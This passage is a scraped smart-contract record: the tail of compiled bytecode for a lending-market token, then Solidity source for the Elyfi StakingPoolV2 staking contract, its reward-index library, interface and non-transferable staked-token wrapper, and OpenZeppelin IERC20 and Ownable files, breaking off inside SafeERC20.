b505050506040513d602081101561303257600080fd5b50519050801561305557613049600360388361297f565b60009250925050612a5f565b61305d6126fa565b6009541461307157613049600a603961242d565b613079614bd0565b6001600160a01b03861660009081526010602052604090206001015460608201526130a386612647565b60808301819052602083018260038111156130ba57fe5b60038111156130c557fe5b90525060009050816020015160038111156130dc57fe5b14613105576130f8600960378360200151600381111561163c57fe5b6000935093505050612a5f565b60001985141561311e5760808101516040820152613126565b604081018590525b613134878260400151614884565b60e082018190526080820151613149916128f4565b60a083018190526020830182600381111561316057fe5b600381111561316b57fe5b905250600090508160200151600381111561318257fe5b146131be5760405162461bcd60e51b815260040180806020018281038252603a815260200180614d8e603a913960400191505060405180910390fd5b6131ce600b548260e001516128f4565b60c08301819052602083018260038111156131e557fe5b60038111156131f057fe5b905250600090508160200151600381111561320757fe5b146132435760405162461bcd60e51b8152600401808060200182810382526031815260200180614de86031913960400191505060405180910390fd5b60a080820180516001600160a01b03808a16600081815260106020908152604091829020948555600a5460019095019490945560c0870151600b81905560e088015195518251948f16855294840192909252828101949094526060820192909252608081019190915290517f1a2a22cb034d26d1854bdc6666a5b91fe25efbbb5dcad3b0355478d6f5c362a1929181900390910190a160055460e0820151606083015160408051631ededc9160e01b81523060048201526001600160a01b038c811660248301528b8116604483015260648201949094526084810192909252519190921691631ededc919160a480830192600092919082900301818387803b15801561334e57600080fd5b505af1158015613362573d6000803e3d6000fd5b506000925061336f915050565b8160e00151935093505050935093915050565b60008060008061339287876129e5565b909250905060008260038111156133a557fe5b146133b65750915060009050612a5f565b612a5881866128f4565b60006133ca614b3f565b6000806133df86670de0b6b3a7640000613b29565b909250905060008260038111156133f257fe5b1461341157506040805160208101909152600081529092509050612312565b60008061341e8388613b68565b9092509050600082600381111561343157fe5b146134545781604051806020016040528060008152509550955050505050612312565b604080516020810190915290815260009890975095505050505050565b51670de0b6b3a7640000900490565b60008060008061348e6126fa565b600954146134ad576134a2600a604f61242d565b935091506126f59050565b6134b73386614884565b905080600c54019150600c54821015613517576040805162461bcd60e51b815260206004820181905260248201527f61646420726573657276657320756e6578706563746564206f766572666c6f77604482015290519081900360640190fd5b600c829055604080513381526020810183905280820184905290517fa91e67c5ea634cd43a12c5a482724b03de01e85ca68702a53d0c2f45cb7c1dc59181900360600190a160009350915050915091565b6011546040805163a9059cbb60e01b81526001600160a01b0385811660048301526024820185905291519190921691829163a9059cbb9160448082019260009290919082900301818387803b1580156135c057600080fd5b505af11580156135d4573d6000803e3d6000fd5b5050505060003d600081146135f057602081146135fa57600080fd5b6000199150613606565b60206000803e60005191505b5080613659576040805162461bcd60e51b815260206004820152601960248201527f544f4b454e5f5452414e534645525f4f55545f4641494c454400000000000000604482015290519081900360640190fd5b50505050565b600082158061366c575081155b6136a75760405162461bcd60e51b8152600401808060200182810382526034815260200180614ea96034913960400191505060405180910390fd5b6136af614c16565b6136b7611e58565b60408301819052602083018260038111156136ce57fe5b60038111156136d957fe5b90525060009050816020015160038111156136f057fe5b146137145761370c6009602b8360200151600381111561163c57fe5b915050610ffe565b831561379557606081018490526040805160208101825290820151815261373b90856122c5565b608083018190526020830182600381111561375257fe5b600381111561375d57fe5b905250600090508160200151600381111561377457fe5b146137905761370c600960298360200151600381111561163c57fe5b61380e565b6137b18360405180602001604052808460400151815250614ace565b60608301819052602083018260038111156137c857fe5b60038111156137d357fe5b90525060009050816020015160038111156137ea57fe5b146138065761370c6009602a8360200151600381111561163c57fe5b608081018390525b60055460608201516040805163eabe7d9160e01b81523060048201526001600160a01b03898116602483015260448201939093529051600093929092169163eabe7d919160648082019260209290919082900301818787803b15801561387357600080fd5b505af1158015613887573d6000803e3d6000fd5b505050506040513d602081101561389d57600080fd5b5051905080156138bd576138b4600360288361297f565b92505050610ffe565b6138c56126fa565b600954146138d9576138b4600a602c61242d565b6138e9600d5483606001516128f4565b60a084018190526020840182600381111561390057fe5b600381111561390b57fe5b905250600090508260200151600381111561392257fe5b1461393e576138b46009602e8460200151600381111561163c57fe5b6001600160a01b0386166000908152600e6020526040902054606083015161396691906128f4565b60c084018190526020840182600381111561397d57fe5b600381111561398857fe5b905250600090508260200151600381111561399f57fe5b146139bb576138b46009602d8460200151600381111561163c57fe5b81608001516139c8612319565b10156139da576138b4600e602f61242d565b6139e8868360800151613568565b60a0820151600d5560c08201516001600160a01b0387166000818152600e6020908152604091829020939093556060850151815190815290513093600080516020614dc8833981519152928290030190a37fe5b754fb1abb7f01b499791d0b820ae3b6af3424ac1c59768edb53f4ec31a929868360800151846060015160405180846001600160a01b03168152602001838152602001828152602001935050505060405180910390a160055460808301516060840151604080516351dff98960e01b81523060048201526001600160a01b038b81166024830152604482019490945260648101929092525191909216916351dff98991608480830192600092919082900301818387803b158015613afe57600080fd5b505af1158015613b12573d6000803e3d6000fd5b5060009250613b1f915050565b9695505050505050565b60008083613b3c57506000905080612312565b83830283858281613b4957fe5b0414613b5d57600260009250925050612312565b600092509050612312565b60008082613b7c5750600190506000612312565b6000838581613b8757fe5b04915091509250929050565b60055460408051634ef4c3e160e01b81523060048201526001600160a01b03858116602483015260448201859052915160009384938493911691634ef4c3e19160648082019260209290919082900301818787803b158015613bf457600080fd5b505af1158015613c08573d6000803e3d6000fd5b505050506040513d6020811015613c1e57600080fd5b505190508015613c4157613c356003601f8361297f565b60009250925050612312565b613c496126fa565b60095414613c5d57613c35600a602261242d565b613c65614c16565b613c6d611e58565b6040830181905260208301826003811115613c8457fe5b6003811115613c8f57fe5b9052506000905081602001516003811115613ca657fe5b14613ccf57613cc2600960218360200151600381111561163c57fe5b6000935093505050612312565b613cd98686614884565b60c0820181905260408051602081018252908301518152613cfa9190614ace565b6060830181905260208301826003811115613d1157fe5b6003811115613d1c57fe5b9052506000905081602001516003811115613d3357fe5b14613d85576040805162461bcd60e51b815260206004820181905260248201527f4d494e545f45584348414e47455f43414c43554c4154494f4e5f4641494c4544604482015290519081900360640190fd5b613d95600d5482606001516129e5565b6080830181905260208301826003811115613dac57fe5b6003811115613db757fe5b9052506000905081602001516003811115613dce57fe5b14613e0a5760405162461bcd60e51b8152600401808060200182810382526028815260200180614e816028913960400191505060405180910390fd5b6001600160a01b0386166000908152600e60205260409020546060820151613e3291906129e5565b60a0830181905260208301826003811115613e4957fe5b6003811115613e5457fe5b9052506000905081602001516003811115613e6b57fe5b14613ea75760405162461bcd60e51b815260040180806020018281038252602b815260200180614d2c602b913960400191505060405180910390fd5b6080810151600d5560a08101516001600160a01b0387166000818152600e60209081526040918290209390935560c084015160608086015183519485529484019190915282820193909352517f4c209b5fc8ad50758f13e2e1088ba56a560dff690a1c6fef26394f4c03821c4f929181900390910190a1606081015160408051918252516001600160a01b038816913091600080516020614dc88339815191529181900360200190a360055460c08201516060830151604080516341c728b960e01b81523060048201526001600160a01b038b81166024830152604482019490945260648101929092525191909216916341c728b991608480830192600092919082900301818387803b158015613fbd57600080fd5b505af1158015613fd1573d6000803e3d6000fd5b5060009250613fde915050565b8160c001519350935050509250929050565b6005546040805163368f515360e21b81523060048201526001600160a01b0385811660248301526044820185905291516000938493169163da3d454c91606480830192602092919082900301818787803b15801561404d57600080fd5b505af1158015614061573d6000803e3d6000fd5b505050506040513d602081101561407757600080fd5b5051905080156140965761408e6003600e8361297f565b915050610b56565b61409e6126fa565b600954146140b15761408e600a8061242d565b826140ba612319565b10156140cc5761408e600e600961242d565b6140d4614c54565b6140dd85612647565b60208301819052828260038111156140f157fe5b60038111156140fc57fe5b905250600090508151600381111561411057fe5b146141355761412c600960078360000151600381111561163c57fe5b92505050610b56565b6141438160200151856129e5565b604083018190528282600381111561415757fe5b600381111561416257fe5b905250600090508151600381111561417657fe5b146141925761412c6009600c8360000151600381111561163c57fe5b61419e600b54856129e5565b60608301819052828260038111156141b257fe5b60038111156141bd57fe5b90525060009050815160038111156141d157fe5b146141ed5761412c6009600b8360000151600381111561163c57fe5b6141f78585613568565b604080820180516001600160a01b03881660008181526010602090815290859020928355600a54600190930192909255606080860151600b81905593518551928352928201899052818501929092529081019190915290517f13ed6866d4e1ee6da46f845c46d7e54120883d75c5ea9a2dacc1c4ca8984ab809181900360800190a160055460408051635c77860560e01b81523060048201526001600160a01b0388811660248301526044820188905291519190921691635c77860591606480830192600092919082900301818387803b1580156142d457600080fd5b505af11580156142e8573d6000803e3d6000fd5b50600092506142f5915050565b95945050505050565b60055460408051632fe3f38f60e11b81523060048201526001600160a01b0384811660248301528781166044830152868116606483015260848201869052915160009384938493911691635fc7e71e9160a48082019260209290919082900301818787803b15801561436f57600080fd5b505af1158015614383573d6000803e3d6000fd5b505050506040513d602081101561439957600080fd5b5051905080156143bc576143b0600360128361297f565b6000925092505061487b565b6143c46126fa565b600954146143d8576143b0600a601661242d565b6143e06126fa565b846001600160a01b0316636c540baf6040518163ffffffff1660e01b815260040160206040518083038186803b15801561441957600080fd5b505afa15801561442d573d6000803e3d6000fd5b505050506040513d602081101561444357600080fd5b505114614456576143b0600a601161242d565b866001600160a01b0316866001600160a01b0316141561447c576143b06006601761242d565b8461448d576143b06007601561242d565b6000198514156144a3576143b06007601461242d565b6000806144b1898989612f9f565b909250905081156144e0576144d28260108111156144cb57fe5b601861242d565b60009450945050505061487b565b6005546040805163c488847b60e01b81523060048201526001600160a01b038981166024830152604482018590528251600094859492169263c488847b92606480830193919282900301818787803b15801561453b57600080fd5b505af115801561454f573d6000803e3d6000fd5b505050506040513d604081101561456557600080fd5b508051602090910151909250905081156145b05760405162461bcd60e51b8152600401808060200182810382526033815260200180614e196033913960400191505060405180910390fd5b80886001600160a01b03166370a082318c6040518263ffffffff1660e01b815260040180826001600160a01b0316815260200191505060206040518083038186803b1580156145fe57600080fd5b505afa158015614612573d6000803e3d6000fd5b505050506040513d602081101561462857600080fd5b5051101561467d576040805162461bcd60e51b815260206004820152601860248201527f4c49515549444154455f5345495a455f544f4f5f4d5543480000000000000000604482015290519081900360640190fd5b60006001600160a01b0389163014156146a35761469c308d8d85612a67565b905061473a565b886001600160a01b031663b2a02ff18d8d856040518463ffffffff1660e01b815260040180846001600160a01b03168152602001836001600160a01b031681526020018281526020019350505050602060405180830381600087803b15801561470b57600080fd5b505af115801561471f573d6000803e3d6000fd5b505050506040513d602081101561473557600080fd5b505190505b8015614784576040805162461bcd60e51b81526020600482015260146024820152731d1bdad95b881cd95a5e9d5c994819985a5b195960621b604482015290519081900360640190fd5b604080516001600160a01b03808f168252808e1660208301528183018790528b1660608201526080810184905290517f298637f684da70674f26509b10f07ec2fbc77a335ab1e7d6215a4b2484d8bb529181900360a00190a1600554604080516347ef3b3b60e01b81523060048201526001600160a01b038c811660248301528f811660448301528e811660648301526084820188905260a48201869052915191909216916347ef3b3b9160c480830192600092919082900301818387803b15801561484f57600080fd5b505af1158015614863573d6000803e3d6000fd5b5060009250614870915050565b975092955050505050505b94509492505050565b601154604080516370a0823160e01b815230600482015290516000926001600160a01b031691839183916370a08231916024808301926020929190829003018186803b1580156148d357600080fd5b505afa1580156148e7573d6000803e3d6000fd5b505050506040513d60208110156148fd57600080fd5b5051604080516323b872dd60e01b81526001600160a01b038881166004830152306024830152604482018890529151929350908416916323b872dd9160648082019260009290919082900301818387803b15801561495a57600080fd5b505af115801561496e573d6000803e3d6000fd5b5050505060003d6000811461498a576020811461499457600080fd5b60001991506149a0565b60206000803e60005191505b50806149f3576040805162461bcd60e51b815260206004820152601860248201527f544f4b454e5f5452414e534645525f494e5f4641494c45440000000000000000604482015290519081900360640190fd5b601154604080516370a0823160e01b815230600482015290516000926001600160a01b0316916370a08231916024808301926020929190829003018186803b158015614a3e57600080fd5b505afa158015614a52573d6000803e3d6000fd5b505050506040513d6020811015614a6857600080fd5b5051905082811015614ac1576040805162461bcd60e51b815260206004820152601a60248201527f544f4b454e5f5452414e534645525f494e5f4f564552464c4f57000000000000604482015290519081900360640190fd5b9190910395945050505050565b6000806000614adb614b3f565b6122dc86866000614aea614b3f565b600080614aff670de0b6b3a764000087613b29565b90925090506000826003811115614b1257fe5b14614b3157506040805160208101909152600081529092509050612312565b61230b8186600001516133c0565b6040518060200160405280600081525090565b828054600181600116156101000203166002900490600052602060002090601f016020900481019282601f10614b9357805160ff1916838001178555614bc0565b82800160010185558215614bc0579182015b82811115614bc0578251825591602001919060010190614ba5565b50614bcc929150614c7d565b5090565b6040805161010081019091528060008152602001600081526020016000815260200160008152602001600081526020016000815260200160008152602001600081525090565b6040805160e0810190915280600081526020016000815260200160008152602001600081526020016000815260200160008152602001600081525090565b604080516080810190915280600081526020016000815260200160008152602001600081525090565b5b80821115614bcc5760008155600101614c7e56fe6f6e6c792061646d696e206d617920696e697469616c697a6520746865206d61726b65746d61726b6574206d6179206f6e6c7920626520696e697469616c697a6564206f6e6365696e697469616c2065786368616e67652072617465206d7573742062652067726561746572207468616e207a65726f2e73657474696e6720696e7465726573742072617465206d6f64656c206661696c65644d494e545f4e45575f4143434f554e545f42414c414e43455f43414c43554c4154494f4e5f4641494c4544626f72726f7742616c616e636553746f7265643a20626f72726f7742616c616e636553746f726564496e7465726e616c206661696c656452455041595f424f52524f575f4e45575f4143434f554e545f424f52524f575f42414c414e43455f43414c43554c4154494f4e5f4641494c4544ddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef52455041595f424f52524f575f4e45575f544f54414c5f42414c414e43455f43414c43554c4154494f4e5f4641494c45444c49515549444154455f434f4d5054524f4c4c45525f43414c43554c4154455f414d4f554e545f5345495a455f4641494c454465786368616e67655261746553746f7265643a2065786368616e67655261746553746f726564496e7465726e616c206661696c65644d494e545f4e45575f544f54414c5f535550504c595f43414c43554c4154494f4e5f4641494c45446f6e65206f662072656465656d546f6b656e73496e206f722072656465656d416d6f756e74496e206d757374206265207a65726f72656475636520726573657276657320756e657870656374656420756e646572666c6f77a26469706673582212206fec5829723530ae4e436de4b1acf332eea2429c6bc31162c10347fb8687247b64736f6c634300060c0033
[ 7, 17, 9, 12, 5 ]
0xF26546EE9562ed60f680c747f28A6Ae67A805c90
// SPDX-License-Identifier: MIT pragma solidity 0.8.4; import './libraries/StakingPoolLogicV2.sol'; import './interface/IStakingPoolV2.sol'; import './token/StakedElyfiToken.sol'; import '@openzeppelin/contracts/token/ERC20/IERC20.sol'; import '@openzeppelin/contracts/access/Ownable.sol'; /// @title Elyfi StakingPool contract /// @notice Users can stake their asset and earn reward for their staking. /// The reward calculation is based on the reward index and user balance. The amount of reward index change /// is inversely proportional to the total amount of supply. Accrued rewards can be obtained by multiplying /// the difference between the user index and the current index by the user balance. User index and the pool /// index is updated and aligned with in the staking and withdrawing action. /// @author Elysia contract StakingPoolV2 is IStakingPoolV2, StakedElyfiToken, Ownable { using StakingPoolLogicV2 for PoolData; constructor(IERC20 stakingAsset_, IERC20 rewardAsset_) StakedElyfiToken(stakingAsset_) { stakingAsset = stakingAsset_; rewardAsset = rewardAsset_; } struct PoolData { uint256 duration; uint256 rewardPerSecond; uint256 rewardIndex; uint256 startTimestamp; uint256 endTimestamp; uint256 totalPrincipal; uint256 lastUpdateTimestamp; mapping(address => uint256) userIndex; mapping(address => uint256) userReward; mapping(address => uint256) userPrincipal; bool isOpened; bool isFinished; } bool internal emergencyStop = false; mapping(address => bool) managers; IERC20 public stakingAsset; IERC20 public rewardAsset; PoolData internal _poolData; /***************** View functions ******************/ /// @notice Returns reward index of the round function getRewardIndex() external view override returns (uint256) { return _poolData.getRewardIndex(); } /// @notice Returns user accrued reward index of the round /// @param user The user address function getUserReward(address user) external view override returns (uint256) { return _poolData.getUserReward(user); } /// @notice Returns the state and data of the round /// @return rewardPerSecond The total reward accrued per second in the round /// @return rewardIndex The reward index of the round /// @return startTimestamp The start timestamp of the round /// @return endTimestamp The end timestamp of the round /// @return totalPrincipal The total staked amount of the round /// @return lastUpdateTimestamp The last update timestamp of the round function getPoolData() external view override returns ( uint256 rewardPerSecond, uint256 rewardIndex, uint256 startTimestamp, uint256 endTimestamp, uint256 totalPrincipal, uint256 lastUpdateTimestamp ) { return ( _poolData.rewardPerSecond, _poolData.rewardIndex, _poolData.startTimestamp, _poolData.endTimestamp, _poolData.totalPrincipal, _poolData.lastUpdateTimestamp ); } /// @notice Returns the state and data of the user /// @param user The user address function getUserData(address user) external view override returns ( uint256 userIndex, uint256 userReward, uint256 userPrincipal ) { return (_poolData.userIndex[user], _poolData.userReward[user], _poolData.userPrincipal[user]); } /***************** External functions ******************/ /// @notice Stake the amount of staking asset to pool contract and update data. /// @param amount Amount to stake. function stake(uint256 amount) external override stakingInitiated { if (_poolData.isOpened == false) revert Closed(); if (amount == 0) revert InvalidAmount(); _poolData.updateStakingPool(msg.sender); _depositFor(msg.sender, amount); _poolData.userPrincipal[msg.sender] += amount; _poolData.totalPrincipal += amount; emit Stake( msg.sender, amount, _poolData.userIndex[msg.sender], _poolData.userPrincipal[msg.sender] ); } /// @notice Withdraw the amount of principal from the pool contract and update data /// @param amount Amount to withdraw function withdraw(uint256 amount) external override stakingInitiated { _withdraw(amount); } /// @notice Transfer accrued reward to msg.sender. User accrued reward will be reset and user reward index will be set to the current reward index. function claim() external override stakingInitiated { _claim(msg.sender); } // TODO Implement `migrate` function to send an asset to the next staking contract /***************** Internal Functions ******************/ function _withdraw(uint256 amount) internal { uint256 amountToWithdraw = amount; if (amount == type(uint256).max) { amountToWithdraw = _poolData.userPrincipal[msg.sender]; } if (_poolData.userPrincipal[msg.sender] < amountToWithdraw) revert NotEnoughPrincipal(_poolData.userPrincipal[msg.sender]); _poolData.updateStakingPool(msg.sender); _poolData.userPrincipal[msg.sender] -= amountToWithdraw; _poolData.totalPrincipal -= amountToWithdraw; _withdrawTo(msg.sender, amountToWithdraw); emit Withdraw( msg.sender, amountToWithdraw, _poolData.userIndex[msg.sender], _poolData.userPrincipal[msg.sender] ); } function _claim(address user) internal { if(emergencyStop == true) revert Emergency(); uint256 reward = _poolData.getUserReward(user); if (reward == 0) revert ZeroReward(); _poolData.userReward[user] = 0; _poolData.userIndex[user] = _poolData.getRewardIndex(); SafeERC20.safeTransfer(rewardAsset, user, reward); uint256 rewardLeft = rewardAsset.balanceOf(address(this)); if (rewardAsset == stakingAsset) { rewardLeft -= _poolData.totalPrincipal; } emit Claim(user, reward, rewardLeft); } /***************** Admin Functions ******************/ /// @notice Init the new round. After the round closed, staking is not allowed. /// @param rewardPerSecond The total accrued reward per second in new round /// @param startTimestamp The start timestamp of initiated round /// @param duration The duration of the initiated round function initNewPool( uint256 rewardPerSecond, uint256 startTimestamp, uint256 duration ) external override onlyOwner { if (_poolData.isFinished == true) revert Finished(); (uint256 newRoundStartTimestamp, uint256 newRoundEndTimestamp) = _poolData.initRound( rewardPerSecond, startTimestamp, duration ); _poolData.isOpened = true; emit InitPool(rewardPerSecond, newRoundStartTimestamp, newRoundEndTimestamp); } function extendPool( uint256 rewardPerSecond, uint256 duration ) external onlyManager { _poolData.extendPool(duration); _poolData.rewardPerSecond = rewardPerSecond; emit ExtendPool(msg.sender, duration, rewardPerSecond); } function closePool() external onlyOwner { if (_poolData.isOpened == false) revert Closed(); _poolData.endTimestamp = block.timestamp; _poolData.isOpened = false; _poolData.isFinished = true; emit ClosePool(msg.sender, true); } function retrieveResidue() external onlyOwner { uint256 residueAmount; if (stakingAsset == rewardAsset) { residueAmount = rewardAsset.balanceOf(address(this)) - _poolData.totalPrincipal; } else { residueAmount = rewardAsset.balanceOf(address(this)); } SafeERC20.safeTransfer(rewardAsset, msg.sender, residueAmount); emit RetrieveResidue(msg.sender, residueAmount); } function setManager(address addr) external onlyOwner { _setManager(addr); } function revokeManager(address addr) external onlyOwner { _revokeManager(addr); } function renounceManager(address addr) external { require(addr == msg.sender, "Can only renounce manager for self"); _revokeManager(addr); } function setEmergency(bool stop) external onlyOwner { emergencyStop = stop; emit SetEmergency(msg.sender, stop); } function isManager(address addr) public view returns (bool) { return managers[addr] || addr == owner(); } /***************** private ******************/ function _setManager(address addr) private { if (!isManager(addr)) { managers[addr] = true; emit SetManager(msg.sender, addr); } } function _revokeManager(address addr) private { if (isManager(addr)) { managers[addr] = false; emit RevokeManager(msg.sender, addr); } } /***************** Modifier ******************/ modifier onlyManager() { if (!isManager(msg.sender)) revert OnlyManager(); _; } modifier stakingInitiated() { if (_poolData.startTimestamp == 0) revert StakingNotInitiated(); _; } } // SPDX-License-Identifier: MIT pragma solidity 0.8.4; import '../StakingPoolV2.sol'; import '@openzeppelin/contracts/token/ERC20/IERC20.sol'; import '@openzeppelin/contracts/token/ERC20/utils/SafeERC20.sol'; library StakingPoolLogicV2 { using StakingPoolLogicV2 for StakingPoolV2.PoolData; event UpdateStakingPool( address indexed user, uint256 newRewardIndex, uint256 totalPrincipal ); function getRewardIndex(StakingPoolV2.PoolData storage poolData) internal view returns (uint256) { uint256 currentTimestamp = block.timestamp < poolData.endTimestamp ? block.timestamp : poolData.endTimestamp; uint256 timeDiff = currentTimestamp - poolData.lastUpdateTimestamp; uint256 totalPrincipal = poolData.totalPrincipal; if (timeDiff == 0) { return poolData.rewardIndex; } if (totalPrincipal == 0) { return poolData.rewardIndex; } uint256 rewardIndexDiff = (timeDiff * poolData.rewardPerSecond * 1e9) / totalPrincipal; return poolData.rewardIndex + rewardIndexDiff; } function getUserReward(StakingPoolV2.PoolData storage poolData, address user) internal view returns (uint256) { if (poolData.userIndex[user] == 0) { return 0; } uint256 indexDiff = getRewardIndex(poolData) - poolData.userIndex[user]; uint256 balance = poolData.userPrincipal[user]; uint256 result = poolData.userReward[user] + (balance * indexDiff) / 1e9; return result; } function updateStakingPool( StakingPoolV2.PoolData storage poolData, address user ) internal { poolData.userReward[user] = getUserReward(poolData, user); poolData.rewardIndex = poolData.userIndex[user] = getRewardIndex(poolData); poolData.lastUpdateTimestamp = block.timestamp < poolData.endTimestamp ? block.timestamp : poolData.endTimestamp; emit UpdateStakingPool(msg.sender, poolData.rewardIndex, poolData.totalPrincipal); } function extendPool( StakingPoolV2.PoolData storage poolData, uint256 duration ) internal { poolData.rewardIndex = getRewardIndex(poolData); poolData.startTimestamp = poolData.lastUpdateTimestamp = block.timestamp; poolData.endTimestamp = block.timestamp + duration; } function initRound( StakingPoolV2.PoolData storage poolData, uint256 rewardPerSecond, uint256 roundStartTimestamp, uint256 duration ) internal returns (uint256, uint256) { poolData.rewardPerSecond = rewardPerSecond; poolData.startTimestamp = roundStartTimestamp; poolData.endTimestamp = roundStartTimestamp + duration; poolData.lastUpdateTimestamp = roundStartTimestamp; poolData.rewardIndex = 1e18; return (poolData.startTimestamp, poolData.endTimestamp); } } // SPDX-License-Identifier: MIT pragma solidity 0.8.4; interface IStakingPoolV2 { error StakingNotInitiated(); error InvalidAmount(); error ZeroReward(); error OnlyManager(); error NotEnoughPrincipal(uint256 principal); error ZeroPrincipal(); error Finished(); error Closed(); error Emergency(); event Stake( address indexed user, uint256 amount, uint256 userIndex, uint256 userPrincipal ); event Withdraw( address indexed user, uint256 amount, uint256 userIndex, uint256 userPrincipal ); event Claim(address indexed user, uint256 reward, uint256 rewardLeft); event InitPool( uint256 rewardPerSecond, uint256 startTimestamp, uint256 endTimestamp ); event ExtendPool( address indexed manager, uint256 duration, uint256 rewardPerSecond ); event ClosePool(address admin, bool close); event RetrieveResidue(address manager, uint256 residueAmount); event SetManager(address admin, address manager); /// @param requester owner or the manager himself/herself event RevokeManager(address requester, address manager); event SetEmergency(address admin, bool emergency); function stake(uint256 amount) external; function claim() external; function withdraw(uint256 amount) external; function getRewardIndex() external view returns (uint256); function getUserReward(address user) external view returns (uint256); function getPoolData() external view returns ( uint256 rewardPerSecond, uint256 rewardIndex, uint256 startTimestamp, uint256 endTimestamp, uint256 totalPrincipal, uint256 lastUpdateTimestamp ); function getUserData(address user) external view returns ( uint256 userIndex, uint256 userReward, uint256 userPrincipal ); function initNewPool( uint256 rewardPerSecond, uint256 startTimestamp, uint256 duration ) external; } // SPDX-License-Identifier: MIT pragma solidity 0.8.4; import '@openzeppelin/contracts/token/ERC20/utils/SafeERC20.sol'; import '@openzeppelin/contracts/token/ERC20/ERC20.sol'; import '@openzeppelin/contracts/token/ERC20/extensions/draft-ERC20Permit.sol'; import '@openzeppelin/contracts/token/ERC20/extensions/ERC20Votes.sol'; import '../libraries/ERC20Metadata.sol'; contract StakedElyfiToken is ERC20, ERC20Permit, ERC20Votes { IERC20 public immutable underlying; constructor(IERC20 underlyingToken) ERC20( string( abi.encodePacked( 'Staked', ERC20Metadata.tokenName(address(underlyingToken)) ) ), string( abi.encodePacked( 's', ERC20Metadata.tokenSymbol(address(underlyingToken)) ) ) ) ERC20Permit( string( abi.encodePacked( 'Staked', ERC20Metadata.tokenName(address(underlyingToken)) ) ) ) { underlying = underlyingToken; } /// @notice Transfer not supported function transfer(address recipient, uint256 amount) public virtual override(ERC20) returns (bool) { recipient; amount; revert(); } /// @notice Transfer not supported function transferFrom( address sender, address recipient, uint256 amount ) public virtual override(ERC20) returns (bool) { sender; recipient; amount; revert(); } /// @notice Approval not supported function approve(address spender, uint256 amount) public virtual override(ERC20) returns (bool) { spender; amount; revert(); } /// @notice Allownace not supported function allowance(address owner, address spender) public view virtual override(ERC20) returns (uint256) { owner; spender; revert(); } /// @notice Allownace not supported function increaseAllowance(address spender, uint256 addedValue) public virtual override(ERC20) returns (bool) { spender; addedValue; revert(); } /// @notice Allownace not supported function decreaseAllowance(address spender, uint256 subtractedValue) public virtual override(ERC20) returns (bool) { spender; subtractedValue; revert(); } /// @dev Allow a user to deposit underlying tokens and mint the corresponding number of wrapped tokens. /// @notice This function is based on the openzeppelin ERC20Wrapper function _depositFor(address account, uint256 amount) internal virtual returns (bool) { SafeERC20.safeTransferFrom(underlying, _msgSender(), address(this), amount); _mint(account, amount); return true; } /// @dev Allow a user to burn a number of wrapped tokens and withdraw the corresponding number of underlying tokens. /// @notice This function is based on the openzeppelin ERC20Wrapper function _withdrawTo(address account, uint256 amount) internal virtual returns (bool) { _burn(_msgSender(), amount); SafeERC20.safeTransfer(underlying, account, amount); return true; } /// @notice The following functions are overrides required by Solidity. function _afterTokenTransfer( address from, address to, uint256 amount ) internal override(ERC20, ERC20Votes) { super._afterTokenTransfer(from, to, amount); } /// @notice The following functions are overrides required by Solidity. function _mint(address to, uint256 amount) internal override(ERC20, ERC20Votes) { super._mint(to, amount); } /// @notice The following functions are overrides required by Solidity. function _burn(address account, uint256 amount) internal override(ERC20, ERC20Votes) { super._burn(account, amount); } } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; /** * @dev Interface of the ERC20 standard as defined in the EIP. */ interface IERC20 { /** * @dev Returns the amount of tokens in existence. */ function totalSupply() external view returns (uint256); /** * @dev Returns the amount of tokens owned by `account`. */ function balanceOf(address account) external view returns (uint256); /** * @dev Moves `amount` tokens from the caller's account to `recipient`. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transfer(address recipient, uint256 amount) external returns (bool); /** * @dev Returns the remaining number of tokens that `spender` will be * allowed to spend on behalf of `owner` through {transferFrom}. This is * zero by default. * * This value changes when {approve} or {transferFrom} are called. */ function allowance(address owner, address spender) external view returns (uint256); /** * @dev Sets `amount` as the allowance of `spender` over the caller's tokens. * * Returns a boolean value indicating whether the operation succeeded. * * IMPORTANT: Beware that changing an allowance with this method brings the risk * that someone may use both the old and the new allowance by unfortunate * transaction ordering. One possible solution to mitigate this race * condition is to first reduce the spender's allowance to 0 and set the * desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * * Emits an {Approval} event. */ function approve(address spender, uint256 amount) external returns (bool); /** * @dev Moves `amount` tokens from `sender` to `recipient` using the * allowance mechanism. `amount` is then deducted from the caller's * allowance. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transferFrom( address sender, address recipient, uint256 amount ) external returns (bool); /** * @dev Emitted when `value` tokens are moved from one account (`from`) to * another (`to`). * * Note that `value` may be zero. */ event Transfer(address indexed from, address indexed to, uint256 value); /** * @dev Emitted when the allowance of a `spender` for an `owner` is set by * a call to {approve}. `value` is the new allowance. */ event Approval(address indexed owner, address indexed spender, uint256 value); } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; import "../utils/Context.sol"; /** * @dev Contract module which provides a basic access control mechanism, where * there is an account (an owner) that can be granted exclusive access to * specific functions. * * By default, the owner account will be the one that deploys the contract. This * can later be changed with {transferOwnership}. * * This module is used through inheritance. It will make available the modifier * `onlyOwner`, which can be applied to your functions to restrict their use to * the owner. */ abstract contract Ownable is Context { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @dev Initializes the contract setting the deployer as the initial owner. */ constructor() { _setOwner(_msgSender()); } /** * @dev Returns the address of the current owner. */ function owner() public view virtual returns (address) { return _owner; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(owner() == _msgSender(), "Ownable: caller is not the owner"); _; } /** * @dev Leaves the contract without owner. It will not be possible to call * `onlyOwner` functions anymore. Can only be called by the current owner. * * NOTE: Renouncing ownership will leave the contract without an owner, * thereby removing any functionality that is only available to the owner. */ function renounceOwnership() public virtual onlyOwner { _setOwner(address(0)); } /** * @dev Transfers ownership of the contract to a new account (`newOwner`). * Can only be called by the current owner. */ function transferOwnership(address newOwner) public virtual onlyOwner { require(newOwner != address(0), "Ownable: new owner is the zero address"); _setOwner(newOwner); } function _setOwner(address newOwner) private { address oldOwner = _owner; _owner = newOwner; emit OwnershipTransferred(oldOwner, newOwner); } } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; import "../IERC20.sol"; import "../../../utils/Address.sol"; /** * @title SafeERC20 * @dev Wrappers around ERC20 operations that throw on failure (when the token * contract returns false). Tokens that return no value (and instead revert or * throw on failure) are also supported, non-reverting calls are assumed to be * successful. * To use this library you can add a 